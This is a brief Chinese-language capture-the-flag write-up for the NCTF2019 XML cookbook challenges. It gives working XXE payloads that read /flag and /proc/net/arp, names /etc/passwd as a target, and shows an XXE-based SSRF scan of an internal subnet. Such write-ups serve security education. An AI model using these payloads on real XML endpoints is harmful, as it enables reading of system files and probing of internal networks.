[NCTF2019]Fake/True XML cookbook
这里是两道题,不过第一道是个基础的XML利用,因此合在一起讲
Fake
利用XXE读文件
登陆界面抓包可以发现使用了XML传输数据,然后尝试XXE读取文件即可。
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [<!ENTITY goodies SYSTEM "file:///flag">]>
<user><username>&goodies;</username><password>testtest</password></user>
True
利用XXE读文件
这一次仍然是和Fake一样能够从同样的地方进行XXE读文件,但是发现flag不存在。
- /etc/hosts 储存域名解析的缓存
- /etc/passwd 用户密码
- /proc/net/arp 每个网络接口的arp表中dev包
先从arp读IP地址:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [<!ENTITY goodies SYSTEM "file:///proc/net/arp">]>
<user><username>&goodies;</username><password>testtest</password></user>
利用XXE进行SSRF
首先使用HTTP协议去扫网段:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [<!ENTITY goodies SYSTEM "http://10.0.55.§2§">]>
<user><username>&goodies;</username><password>testtest</password></user>
当IP地址正确的时候就返回flag了。